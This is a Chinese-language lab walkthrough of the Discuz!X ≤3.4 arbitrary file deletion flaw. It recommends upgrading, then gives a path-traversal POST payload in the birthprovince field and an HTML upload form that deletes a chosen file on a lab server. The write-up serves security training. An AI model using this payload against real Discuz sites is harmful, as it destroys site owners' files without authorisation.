Discuz!X ≤3.4 任意文件删除漏洞
Discuz!X社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
修复建议
升级到最新版本的 Discuz!
实验环境
- 操作机:centos7
- 目标地址:192.168.0.105
- Discuz版本:3.1
实验步骤
步骤1:了解原理
该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。
步骤2:新建text.txt文件
步骤3:新建用户
打开浏览器,输入目标地址192.168.0.105
进入到目标网站,然后点击右上角的注册,注册一个测试账户。
步骤4:发送请求
登录成功之后,点击设置
打开开发者工具找到hackbar功能,向目标链接,输入以下命令
http://192.168.0.105/home.php?mod=spacecp&ac=profile&op=base(此为基本资料选项卡url)
发送如下的post请求,注意,这里formhash的值会变化,所以需要修改,在当前页面右键查看源代码,搜索formhash即可获取最新的值。
birthprovince=..
/../../test.txt&profilesubmit=
1&formhash=c5ee361e
其中test.txt
为我们要删除的文件,formhash
为用户的独有参数,可以通过查看源代码,搜索该参数来获得它的值,如下图。
点击Execute按钮。刷新后页面改变
说明我们的脏数据已经进入数据库了。
步骤5:上传文件
新建一个upload.html,代码如下,[form-hash]改成你的formhash:
<body>
<form action="http://192.168.0.105/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
在网页中随便下载一张图片打开upload.html点击上传
再次访问http://192.168.0.105/test.txt,发现文件成功被删除。